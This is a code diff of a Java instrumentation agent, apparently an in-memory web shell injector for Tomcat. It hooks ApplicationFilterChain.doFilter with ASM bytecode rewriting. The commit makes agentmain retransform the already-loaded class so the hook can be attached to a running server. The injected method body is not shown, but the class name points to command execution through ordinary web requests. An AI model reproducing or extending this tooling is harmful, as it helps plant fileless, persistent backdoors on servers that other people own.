44
55import java .lang .instrument .ClassFileTransformer ;
66import java .lang .instrument .Instrumentation ;
7- import java .lang .reflect . Method ;
7+ import java .lang .instrument . UnmodifiableClassException ;
88import java .security .ProtectionDomain ;
99
1010/**
@@ -14,19 +14,51 @@ public class CommandFilterChainTransformer implements ClassFileTransformer {
1414
1515 private static final String TARGET_CLASS = "org/apache/catalina/core/ApplicationFilterChain" ;
1616
17- public static ClassVisitor getClassVisitor (ClassVisitor cv ) {
18- return new ClassVisitor (Opcodes .ASM9 , cv ) {
19- @ Override
20- public MethodVisitor visitMethod (int access , String name , String descriptor ,
21- String signature , String [] exceptions ) {
22- MethodVisitor mv = super .visitMethod (access , name , descriptor , signature , exceptions );
23- if ("doFilter" .equals (name ) &&
24- "(Ljavax/servlet/ServletRequest;Ljavax/servlet/ServletResponse;)V" .equals (descriptor )) {
25- return new DoFilterMethodVisitor (mv );
26- }
27- return mv ;
17+ @ Override
18+ public byte [] transform (final ClassLoader loader , String className , Class <?> classBeingRedefined ,
19+ ProtectionDomain protectionDomain , byte [] bytes ) {
20+ if (TARGET_CLASS .equals (className )) {
21+ try {
22+ ClassReader cr = new ClassReader (bytes );
23+ ClassWriter cw = new ClassWriter (cr , ClassWriter .COMPUTE_MAXS | ClassWriter .COMPUTE_FRAMES ) {
24+ @ Override
25+ protected ClassLoader getClassLoader () {
26+ return loader ;
27+ }
28+ };
29+ ClassVisitor cv = new ClassVisitor (Opcodes .ASM9 , cw ) {
30+ @ Override
31+ public MethodVisitor visitMethod (int access , String name , String descriptor ,
32+ String signature , String [] exceptions ) {
33+ MethodVisitor mv = super .visitMethod (access , name , descriptor , signature , exceptions );
34+ if ("doFilter" .equals (name ) &&
35+ "(Ljavax/servlet/ServletRequest;Ljavax/servlet/ServletResponse;)V" .equals (descriptor )) {
36+ return new DoFilterMethodVisitor (mv );
37+ }
38+ return mv ;
39+ }
40+ };
41+ cr .accept (cv , ClassReader .EXPAND_FRAMES );
42+ return cw .toByteArray ();
43+ } catch (Exception e ) {
44+ e .printStackTrace ();
45+ }
46+ }
47+ return bytes ;
48+ }
49+
50+ public static void premain (String args , Instrumentation inst ) {
51+ inst .addTransformer (new CommandFilterChainTransformer (), true );
52+ }
53+
54+ public static void agentmain (String args , Instrumentation inst ) throws UnmodifiableClassException {
55+ inst .addTransformer (new CommandFilterChainTransformer (), true );
56+ for (Class <?> allLoadedClass : inst .getAllLoadedClasses ()) {
57+ String name = allLoadedClass .getName ();
58+ if (TARGET_CLASS .replace ("/" , "." ).equals (name )) {
59+ inst .retransformClasses (allLoadedClass );
2860 }
29- };
61+ }
3062 }
3163
3264 private static class DoFilterMethodVisitor extends MethodVisitor {
@@ -178,32 +210,4 @@ public void visitCode() {
178210 }
179211 }
180212
181- @ Override
182- public byte [] transform (ClassLoader loader , String className , Class <?> classBeingRedefined ,
183- ProtectionDomain protectionDomain , byte [] bytes ) {
184- if (TARGET_CLASS .equals (className )) {
185- try {
186- ClassReader cr = new ClassReader (bytes );
187- ClassWriter cw = new ClassWriter (cr , ClassWriter .COMPUTE_MAXS | ClassWriter .COMPUTE_FRAMES );
188- Method getClassLoader = cw .getClass ().getDeclaredMethod ("getClassLoader" );
189- getClassLoader .setAccessible (true );
190- System .out .println (getClassLoader .invoke (cw ));
191- ClassVisitor cv = CommandFilterChainTransformer .getClassVisitor (cw );
192- cr .accept (cv , ClassReader .EXPAND_FRAMES );
193- return cw .toByteArray ();
194- } catch (Exception e ) {
195- e .printStackTrace ();
196- }
197- }
198- return bytes ;
199- }
200-
201- public static void premain (String args , Instrumentation inst ) {
202- inst .addTransformer (new CommandFilterChainTransformer (), true );
203- }
204-
205- public static void agentmain (String args , Instrumentation inst ) {
206- System .out .println (DoFilterMethodVisitor .class .getClassLoader ());
207- inst .addTransformer (new CommandFilterChainTransformer (), true );
208- }
209213}
0 commit comments